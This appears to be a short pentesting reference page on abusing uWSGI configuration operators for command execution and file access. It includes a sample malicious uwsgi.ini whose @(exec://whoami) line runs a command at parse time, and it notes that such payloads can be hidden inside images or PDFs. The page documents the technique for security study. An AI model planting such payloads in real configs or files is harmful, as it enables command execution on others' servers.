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uWSGI configuration file

uWSGI configuration files can include “magic” variables, placeholders and operators defined with a precise syntax. The ‘@’ operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including “exec” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed:

Example of malicious uwsgi.ini file:

; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; call a function returning a char *
characters = @(call://uwsgi_func)

When the configuration file will be parsed(e.g. restart, crash or autoreload) payload will be executed.

uWSGI lax parsing

The uWSGI parsing of configuration file is lax. The previous payload can be embedded inside a binary file(e.g. image, pdf, ...).

Thanks to

Last update: March 1, 2023